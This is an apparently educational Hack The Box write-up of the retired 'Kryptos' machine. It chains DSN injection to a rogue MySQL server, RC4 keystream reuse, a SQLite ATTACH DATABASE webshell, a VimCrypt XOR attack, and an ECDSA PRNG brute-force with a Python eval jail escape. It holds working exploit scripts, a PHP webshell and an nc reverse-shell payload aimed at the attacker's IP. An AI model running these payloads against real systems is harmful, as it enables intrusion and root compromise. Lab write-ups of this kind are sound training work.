Hack The Box
Hack The Box: Kryptos Walkthrough
An archived walkthrough of the retired Hack The Box Kryptos machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Insane | OS: Linux | IP: 10.129.2.163 | Attacker: 10.10.14.6
1. Machine Overview & Mindset
Kryptos is an Insane-rated Linux box that lives up to its name — every single phase involves breaking or abusing a cryptographic or authentication primitive. It requires chaining five distinct vulnerabilities before reaching root, with each step gating the next.
The Insane Mindset
On Insane boxes, nothing is handed to you. You must:
- Read responses carefully — error codes are clues, not just noise
- Think about trust boundaries — who decides what server to authenticate against?
- Know your crypto primitives — stream cipher keystream reuse, VimCrypt blowfish bugs, broken PRNGs
- Be patient with tooling — half the work is getting your tools to speak the right protocol
Full Attack Chain (Bird's Eye View)
Login form → DSN injection → Rogue MySQL → Auth bypass
↓
encrypt.php → RC4 keystream reuse → Internal URL access (/dev)
↓
sqlite_test_page.php → SQLite stacked queries → ATTACH DATABASE → PHP webshell
↓
/home/rijndael/creds.txt → VimCrypt blowfish XOR → SSH credentials
↓
kryptos.py on port 81 → PRNG brute → ECDSA key recovery → eval() jail escape → root
2. Reconnaissance
Why Recon Matters
Before touching any vulnerability, you need to understand the attack surface. Recon tells you what ports are open, what services are running, and what technology stack you're dealing with. Every detail feeds your hypothesis generation.
Nmap
nmap -sC -sV -p- --min-rate 5000 10.129.2.163
Output (relevant):
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Cryptor Login
What this tells us:
- Only two ports — SSH and HTTP. The entire attack surface is the web application.
- Apache 2.4.29 on Ubuntu Bionic (18.04) — known OS fingerprint helps scope CVEs.
- Title is "Cryptor Login" — this box will involve cryptography.
- SSH is available — once we find credentials, we can get a proper shell.
Web Directory Brute Force
gobuster dir -u http://10.129.2.163/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
Key findings:
/index.php (200)
/encrypt.php (302 → redirects to login)
/decrypt.php (302 → redirects to login)
/dev (403 → Forbidden)
/url.php (200 → empty)
/aes.php (200 → empty)
/rc4.php (200 → empty)
Hacker mindset:
encrypt.phpanddecrypt.phpredirect when unauthenticated → they exist but require a session.url.php,aes.php,rc4.phpreturn 200 but empty → these are include files called by encrypt/decrypt. The box is encryption-themed./devreturns 403 Forbidden — not 404. The directory exists but is access-controlled. This is a target for later.- The encryption theme (
aes.php,rc4.php) is a strong hint that crypto weaknesses are in scope.
Login Page Analysis
Intercepting the login POST request reveals:
POST / HTTP/1.1
username=admin&password=REDACTED
Critical observation: The db parameter is user-controlled. In normal applications, the database name is hardcoded. Exposing it in the form suggests it is directly used in a database connection string — a potential injection point.
Testing with a modified db value returns:
PDOException code: 1044
PDO = PHP Data Objects. Error 1044 = "Access denied for user to database". This confirms the db value is being fed into a PDO DSN string to connect to MySQL.
3. Phase 1 — Auth Bypass via DSN Injection
Concept: What is a PDO DSN?
PHP connects to databases via a Data Source Name (DSN) string:
$conn = new PDO("mysql:host=localhost;dbname=" . $_POST['db'], $user, $pass);
If $_POST['db'] is not sanitized, an attacker can inject additional DSN parameters. The MySQL DSN format supports semicolon-separated key=value pairs:
mysql:host=localhost;dbname=cryptor;port=3306
By injecting ;host=10.10.14.6;, we can redirect the database connection to our own machine.
Why This is Powerful
The application authenticates users by querying a MySQL database. If we control which MySQL server it queries, we can:
- Capture the MySQL credentials it uses (the app's DB username/password)
- Create a fake database that returns valid authentication for any credentials we choose
- Log in as any user
This is a supply-chain style attack — we don't break into the app, we impersonate its infrastructure.
Step 1: Confirm Outbound Connection
Set up a listener on port 3306 (MySQL's default port):
nc -lnvp 3306
Send a login POST with the injected db:
db=cryptor;host=10.10.14.6;port=3306
You receive a connection from the target. Confirmed: the server will connect to us.
Step 2: Capture the MySQL Credentials
Use Metasploit's MySQL capture module (or configure real MariaDB) to capture the challenge-response authentication hash:
[+] 10.129.2.163 - User: dbuser; Challenge: 112233...; Response: 73def07d...
Crack with John:
john --wordlist=/usr/share/wordlists/rockyou.txt capture_hash
# Result: krypt0n1te
Why crack it? We need these credentials to allow the target to successfully authenticate to our rogue MySQL. Without them, the handshake would fail even with our fake server.
Step 3: Set Up the Rogue MySQL
Configure MariaDB on Kali to listen on all interfaces:
# /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 0.0.0.0
sudo systemctl restart mariadb
Create the fake authentication database. The application queries:
SELECT username, password FROM users WHERE username='x' AND password=REDACTED
Note: passwords are stored/compared as MD5 hashes.
CREATE USER 'dbuser'@'%' IDENTIFIED BY 'krypt0n1te';
CREATE DATABASE cryptor;
GRANT ALL PRIVILEGES ON cryptor.* TO 'dbuser'@'%' IDENTIFIED BY 'krypt0n1te';
USE cryptor;
CREATE TABLE users (username varchar(255), password varchar(255));
INSERT INTO users (username, password) VALUES ('admin', MD5('admin'));
FLUSH PRIVILEGES;
Step 4: Trigger the Bypass
Send the login request with the injection. Use Python to automate CSRF token handling:
import requests
from bs4 import BeautifulSoup
TARGET = "http://10.129.2.163"
KALI = "10.10.14.6"
s = requests.Session()
r = s.get(TARGET)
token = REDACTED, 'html.parser').find("input", {"name": "token"})["value"]
data = {
"username": "admin",
"password": null,
"db": f"cryptor;host={KALI};port=3306",
"token": REDACTED,
"login": ""
}
r = s.post(TARGET, data=data)
# Response: "File Encryptor" page = SUCCESS
Hacker mindset: The CSRF token regenerates on every page load, so you can't replay requests in Burp without refreshing. Automating token fetch is the pragmatic solution for any repeatable testing.
Result: Logged in as admin. We now have an authenticated session on the web application.
4. Phase 2 — RC4 Keystream Abuse to Access /dev
Concept: RC4 and Keystream Reuse
RC4 is a stream cipher. Encryption works like this:
ciphertext = plaintext XOR keystream
The keystream is generated from a key. The critical property:
- If you encrypt the same key twice, the second encryption XORs the ciphertext with the same keystream, cancelling it:
encrypt(encrypt(plaintext)) = plaintext XOR keystream XOR keystream = plaintext
This is known as keystream reuse — a fundamental stream cipher misuse.
The Application's Encrypt Feature
After login, encrypt.php allows submitting a URL. The server:
- Fetches the URL's content
- RC4-encrypts it
- Returns the base64-encoded ciphertext
Since the same key/keystream is used for every request, we can use the encrypt endpoint as a decryption oracle:
- Submit target URL → server fetches content, returns
base64(RC4(content)) - Decode base64 → get raw ciphertext bytes
- Serve those bytes from our own HTTP server
- Submit our server's URL → server fetches ciphertext bytes, RC4-encrypts them again →
base64(RC4(RC4(content)))=base64(content) - Decode base64 → plaintext
Why This Matters
We can now make the target server fetch any internal URL (like http://127.0.0.1/dev/...) and decrypt the response — bypassing the 403 Forbidden restriction on /dev that blocks external access.
Setting Up the Relay
Start an HTTP server in your working directory:
cd ~/Downloads/kryptos
python3 -m http.server 8000
Discover the correct form parameters first:
# The form uses GET (no method attr = default GET) to /encrypt.php
# Parameters: url= and cipher= (values: "AES-CBC" or "RC4")
r = s.get(f"{TARGET}/encrypt.php", params={"url": target_url, "cipher": "RC4"})
Full RC4 fetch function:
def rc4_fetch(s, url):
# Step 1: get RC4(content) from server
r = s.get(f"{TARGET}/encrypt.php", params={"url": url, "cipher": "RC4"})
ct_b64 = BeautifulSoup(r.text, 'html.parser').find("textarea").text.strip()
ct_bytes = base64.b64decode(ct_b64)
# Step 2: save raw ciphertext for relay
with open("relay.bin", "wb") as f:
f.write(ct_bytes)
# Step 3: re-encrypt → XOR cancels → base64(plaintext)
r2 = s.get(f"{TARGET}/encrypt.php",
params={"url": f"http://{KALI}:8000/relay.bin", "cipher": "RC4"})
pt_b64 = BeautifulSoup(r2.text, 'html.parser').find("textarea").text.strip()
return base64.b64decode(pt_b64).decode(errors='replace')
Discovering /dev Contents
Fetch the ToDo page:
python3 rc4_fetch.py "http://127.0.0.1/dev/index.php?view=todo"
Response:
<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
2) Remove world writable folder which was used for sqlite testing
3) Do the needful
<h3>Done:</h3>
4) Restrict access to /dev
5) Disable dangerous PHP functions
Critical intelligence gathered:
sqlite_test_page.phpstill exists — developers forgot to remove it- A world-writable folder still exists — we can write files to disk
- Dangerous PHP functions (system, exec, etc.) are disabled — but not all of them
/devaccess is restricted from outside, but not from 127.0.0.1
Reading PHP Source via PHP Filter
PHP's php://filter wrapper can base64-encode files before they're output, allowing us to read PHP source code without it being executed:
python3 rc4_fetch.py "http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page"
Decode the base64 blob from the HTML response:
# Extract the base64 string and decode
echo "<BASE64_BLOB>" | base64 -d
Result: Full PHP source of sqlite_test_page.php.
5. Phase 3 — SQLite Injection to Webshell
Analysing the Source Code
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=" . $bookid; // NO sanitization!
if (isset($bookid)) {
class MyDB extends SQLite3 {
function __construct() {
// This folder is world writable
$this->open('[redacted retired-lab hash or flag]/books.db');
}
}
$db = new MyDB();
if (isset($no_results)) {
$ret = $db->exec($query); // exec() supports stacked queries
} else {
$ret = $db->query($query); // query() does NOT
}
}
Key observations:
$bookidis directly concatenated into the SQL query — classic SQLi- When
no_resultsis set,exec()is used — this supports multiple statements (stacked queries) - The DB file is in
[redacted retired-lab hash or flag]/which is world-writable - Full web path is
[redacted encoded lab material]
The ATTACH DATABASE Technique
SQLite has a feature called ATTACH DATABASE that opens (or creates) a second database file. Combined with stacked queries, we can:
ATTACH DATABASE '/var/www/html/dev/.../shell.php' AS shell— creates a new SQLite file at that pathCREATE TABLE shell.pwn (dataz text)— creates a table in that fileINSERT INTO shell.pwn VALUES ('<?php ... ?>')— inserts PHP code as a row
The resulting file is a valid SQLite binary that also contains our PHP code as a string. When PHP parses it, it scans for <?php tags and executes them, ignoring the binary SQLite header.
Critical Gotcha: Quote Escaping
The SQL INSERT uses double quotes as string delimiters:
insert into shell.pwn (dataz) values ("<?php ... ?>");
Any double quotes inside the PHP code will break the SQL string. Always use single quotes in the embedded PHP:
# WRONG - double quotes inside break SQL
php_code = '<?php echo file_get_contents($_GET["f"]); ?>'
# CORRECT - single quotes only inside
php_code = "<?php echo 'KSTART:'; echo file_get_contents($_GET['f']); echo ':KEND'; ?>"
Another Gotcha: Disabled Functions
The ToDo mentioned "Disable dangerous PHP functions". This covers execution functions like system(), exec(), shell_exec(), passthru(). However, file reading functions like file_get_contents() and readfile() are typically not disabled since they're used by legitimate applications.
We use file_get_contents() for our webshell — sufficient to read credentials from disk.
Writing the Webshell
from urllib.parse import quote
shell_path = '[redacted encoded lab material].php'
php_code = "<?php echo 'KSTART:'; echo file_get_contents($_GET['f']); echo ':KEND'; ?>"
sqli = (
f"1;attach database '{shell_path}' as sh;"
f"create table sh.pwn (dataz text);"
f"insert into sh.pwn (dataz) values (\"{php_code}\");--"
)
url = f"http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid={quote(sqli)}"
rc4_fetch(s, url)
Why the KSTART:/:KEND markers? The SQLite binary header (starting with SQLite format 3) appears before our <?php tag. PHP outputs that binary data as-is. The markers let us reliably extract just our PHP output from the binary noise.
Verifying the Shell
result = rc4_fetch(s, "http://127.0.0.1/dev/[redacted retired-lab hash or flag]/shell.php?f=/etc/passwd")
start = result.find("KSTART:")
end = result.find(":KEND")
print(result[start+7:end])
# root:x:0:0:root:/root:/bin/bash ...
Reading Target Files
/home/rijndael/creds.old (to confirm known plaintext):
rijndael / Password1
/home/rijndael/creds.txt (VimCrypt binary — must base64-encode through PHP to survive text encoding):
# Use a separate shell that base64-encodes output
php_code = "<?php echo 'KSTART:'; echo base64_encode(file_get_contents($_GET['f'])); echo ':KEND'; ?>"
Then decode the result:
b64 = result[start+7:end].strip()
raw = base64.b64decode(b64)
# raw = 54 bytes of VimCrypt binary
6. Phase 4 — VimCrypt Known-Plaintext Attack
What is VimCrypt?
Vim's built-in encryption saves files with a header identifying the cipher:
VimCrypt~01!= ZIP/XOR (very weak)VimCrypt~02!= Blowfish CFB (weak due to implementation bug)VimCrypt~03!= Blowfish2 CFB (more secure)
Our file starts with VimCrypt~02! — Blowfish with a known vulnerability.
The File Format
Offset Length Field
0 12 Magic: "VimCrypt~02!"
12 8 Salt (used to derive key from password)
20 8 IV (initialization vector for CFB mode)
28 26 Ciphertext (the actual encrypted content)
Total: 54 bytes. Ciphertext is 26 bytes.
The Blowfish CFB Vulnerability
Vim's Blowfish CFB mode has a well-documented implementation bug: it operates as 8-bit CFB (one byte at a time), but each byte of keystream is derived from a full 64-bit Blowfish block. Crucially, the same 8-byte block is used to generate 8 consecutive keystream bytes without advancing the cipher state properly.
The net effect: the keystream repeats every 8 bytes.
keystream = K0 K1 K2 K3 K4 K5 K6 K7 K0 K1 K2 K3 K4 K5 K6 K7 K0 ...
The Known-Plaintext XOR Attack
We have:
- Known plaintext from
creds.old:rijndael / Password1\n(21 bytes) - Ciphertext from
creds.txt: 26 bytes (starting at offset 28)
Since ciphertext = plaintext XOR keystream, we get keystream = ciphertext XOR plaintext.
We only need the first 8 bytes of known plaintext to recover the full repeating keystream:
creds_hex = "[redacted encoded lab material]"
raw = bytes.fromhex(creds_hex)
ciphertext = raw[28:] # skip 28-byte header
known = b"rijndael / Password1\n"
# First 8 bytes of ciphertext XOR first 8 bytes of known plaintext = 8-byte keystream
keystream = bytes(ciphertext[i] ^ known[i] for i in range(8))
# Decrypt all 26 bytes using repeating 8-byte keystream
plaintext = bytes(ciphertext[i] ^ keystream[i % 8] for i in range(len(ciphertext)))
print(plaintext)
# b'rijndael / bkVBL8Q9HuBSpj\n'
Why only 8 bytes of known plaintext? Because the keystream repeats every 8 bytes. Once we know the 8-byte cycle, we can decrypt any length of ciphertext encrypted with that key.
Result
SSH credentials: rijndael / bkVBL8Q9HuBSpj
SSH Login & User Flag
ssh rijndael@10.129.2.163
# password: null
cat ~/user.txt
# ad28a[redacted]53f6a03b6
7. Phase 5 — Broken PRNG + Python Eval Jail Escape to Root
Discovering the Local Service
ps aux | grep kryptos
# root ... python3 /home/rijndael/kryptos/kryptos.py
ss -tlnp | grep 81
# 127.0.0.1:81 LISTEN
A Python web server running as root on localhost port 81. Forward it to Kali:
ssh -L 81:127.0.0.1:81 rijndael@10.129.2.163
Analysing kryptos.py
The server has three endpoints:
GET / — Returns a JSON status message.
GET /debug — Returns a sample expression 2+2 and its ECDSA signature:
{"response": {"Expression": "2+2", "Signature": "<hex_sig>"}}
POST /eval — Takes expr and sig. If the ECDSA signature is valid, runs eval(expr) as root:
result = eval(expr, {'__builtins__': None}) # builtins removed
The two barriers to exploitation:
- You need a valid ECDSA signature for your expression
- Python's
eval()has__builtins__set toNone— standard library functions unavailable
Vulnerability 1: Broken PRNG (secure_rng)
The signing key is generated at server startup:
def secure_rng(seed):
p = 2147483647 # Mersenne prime
g = 2255412 # generator
keyLength = 32
ret = 0
ths = round((p-1)/2)
for i in range(keyLength * 8):
seed = pow(g, seed, p)
if seed > ths:
ret += 2**i
return ret
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
This looks like a variant of the Blum-Micali PRNG. However, g=2255412 is not a primitive root modulo p=2147483647. This means:
pow(g, k, p)cycles through only a small subset of values (order ~331)secure_rngmaps those ~331 inputs to only ~209 unique output values- Despite
seedbeing 128-bit random,randcan only be one of ~209 values
Implication: The ECDSA signing key exponent has only ~209 possible values. We can brute-force which one the server is using.
Vulnerability 2: Python eval() Jail Escape
With {'__builtins__': None}, direct use of import, open, os, etc. is blocked. But Python's object model provides a bypass through introspection:
Every object in Python knows its class, its base class, and all subclasses. By walking the subclass tree from a built-in type, we can find classes that still have access to builtins:
# Walk the MRO to find catch_warnings, which has __builtins__ in its module
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__ == "catch_warnings"][0]()._module.__builtins__["__import__"]("os").system("id")
Explanation:
().__class__=tuple.__base__=object.__subclasses__()= all classes that inherit fromobject- Find
catch_warnings(fromwarningsmodule) which holds a reference to__builtins__ - Navigate to
__builtins__["__import__"]to importos - Call
os.system()for command execution
The Exploit: Brute PRNG + Sign Payload
import random, binascii, requests
from ecdsa import SigningKey, NIST384p
BASE = "http://127.0.0.1:81"
KALI = "10.10.14.6"
def secure_rng(seed):
p = 2147483647
g = 2255412
ret = 0
ths = round((p - 1) / 2)
for i in range(32 * 8):
seed = pow(g, seed, p)
if seed > ths:
ret += 2 ** i
return ret
# Step 1: Get a valid (expr, sig) pair from /debug
debug = requests.get(f"{BASE}/debug").json()['response']
expr = debug['Expression'] # "2+2"
sig = debug['Signature']
# Step 2: Brute the seed space (~209 unique values, found within ~5000 random tries)
sk = None
for _ in range(5000):
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
try:
candidate = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = candidate.get_verifying_key()
vk.verify(binascii.unhexlify(sig), expr.encode())
sk = candidate # Found the matching key!
break
except:
continue
# Step 3: Build and sign the jail-escape payload
cmd = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {KALI} 4444 >/tmp/f"
payload = (
'[x for x in ().__class__.__base__.__subclasses__() '
'if x.__name__ == "catch_warnings"][0]()._module'
f'.__builtins__["__import__"]("os").system("{cmd}")'
)
sig_new = binascii.hexlify(sk.sign(payload.encode())).decode()
# Step 4: Send to /eval — executes as root
requests.post(f"{BASE}/eval", json={"expr": payload, "sig": sig_new}, timeout=8)
Receiving the Root Shell
On Kali:
nc -lnvp 4444
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
edbb9d2[redacted]10ba75cae
8. Attack Chain Summary
┌─────────────────────────────────────────────────────────────────┐
│ PHASE 1: AUTH BYPASS │
│ db=cryptor;host=10.10.14.6 → Rogue MySQL → Login as admin │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 2: RC4 KEYSTREAM ABUSE │
│ encrypt(encrypt(X)) = X → Decrypt /dev internal pages │
│ PHP filter: ?view=php://filter/.../sqlite_test_page │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 3: SQLITE SQLI → WEBSHELL │
│ bookid=1;ATTACH DATABASE 'shell.php' AS sh;... │
│ INSERT INTO sh.pwn VALUES ('<?php ... ?>') │
│ → file_get_contents() reads arbitrary files │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 4: VIMCRYPT KNOWN-PLAINTEXT XOR │
│ keystream[i] = ciphertext[i] XOR known[i] (repeats every 8B) │
│ → rijndael / bkVBL8Q9HuBSpj → SSH → user.txt │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 5: BROKEN PRNG + EVAL JAIL ESCAPE │
│ secure_rng() has ~209 unique values → brute signing key │
│ catch_warnings subclass bypass → __builtins__ restored │
│ → os.system() as root → root.txt │
└─────────────────────────────────────────────────────────────────┘
Credentials Recovered
| Credential | Value |
|---|---|
| MySQL DB user | dbuser / krypt0n1te |
| Web login | admin / admin (our own rogue DB) |
| SSH | rijndael / bkVBL8Q9HuBSpj |
Flags
| Flag | Value |
|---|---|
| user.txt | ad28a2[redacted]3f6a03b6 |
| root.txt | edbb9d[redacted]10ba75cae |
9. Key Lessons & Concepts
1. Injection is Not Just SQL
The DSN injection here is protocol injection — injecting parameters into a structured string that is parsed by a library, not a database. Any time user input is concatenated into a structured string (connection strings, LDAP queries, XML, SMTP headers), injection may be possible.
2. Trust Boundaries: Who Authenticates Whom?
The core of Phase 1 is a trust boundary violation. The application trusted the client to declare which database server to authenticate against. Attackers who control the authentication backend control who can log in. Always hardcode infrastructure endpoints server-side.
3. Stream Cipher Keystream Reuse is Fatal
RC4 and any stream cipher XORs plaintext with a keystream. If the same key and IV produce the same keystream, encrypting the ciphertext again recovers the plaintext. This is why TLS generates a fresh session key for every connection, and why RC4 has been deprecated from all modern protocols.
4. PHP Filter Trick for Source Disclosure
php://filter/convert.base64-encode/resource=<file> is a read primitive that bypasses any code execution restrictions. It base64-encodes the file before output, so PHP source code is returned as data rather than executed. This is a standard LFI-to-source-disclosure technique.
5. SQLite ATTACH DATABASE as a Write Primitive
When you have SQL injection into a SQLite database, ATTACH DATABASE turns it into a file write primitive. You can write arbitrary content to any path writable by the web server process. Combined with a world-writable web directory, this is a reliable webshell technique.
6. Know Your PHP Function Blacklists
Dangerous function blacklists (disable_functions in php.ini) typically target execution functions: system, exec, shell_exec, passthru, popen, proc_open. They rarely include file I/O functions like file_get_contents, readfile, fopen. When you can't exec, pivot to reading files — credentials, source code, SSH keys.
7. VimCrypt Blowfish Bug: 8-bit CFB Keystream Repeat
Vim's ~02 Blowfish implementation uses 8-bit CFB mode incorrectly, causing the keystream to repeat every 8 bytes. With any 8 bytes of known plaintext, the full keystream is recoverable. This is why never use ~02 — use ~03 (blowfish2) or, better, use dedicated encryption tools.
8. Small PRNG State Spaces Are Brutable
A PRNG that produces only ~209 unique outputs regardless of seed entropy is cryptographically broken. When the signing key exponent can only be one of ~209 values, brute-forcing it requires at most ~209 ECDSA key generation and signature verification operations — trivially fast. Always audit custom PRNG implementations. If g is not a primitive root modulo p, the output space collapses.
9. Python eval() Jail Escapes via Subclass Introspection
Removing __builtins__ from an eval context is not a security boundary. Python's object model allows navigating from any built-in object ((), [], {}) through __class__.__base__.__subclasses__() to find classes that still reference builtins in their module globals. The catch_warnings class is a reliable entry point. Sandbox-safe eval requires proper language-level isolation (e.g., a subprocess, a separate interpreter, or a purpose-built sandbox like PyPy's sandbox mode).
10. Defense-in-Depth Failures Compound
No single vulnerability on Kryptos is catastrophic in isolation. The box is Insane because it requires chaining five separate weaknesses. Each "fix" the developers half-implemented (restricting /dev by IP, disabling exec functions, using a signed eval) created a false sense of security without addressing the underlying issue. Real security requires layers that are each independently sufficient, not a chain where any one break leads to full compromise.
Walkthrough by Abdullah (CyberKareem) | HTB Kryptos | Insane | Linux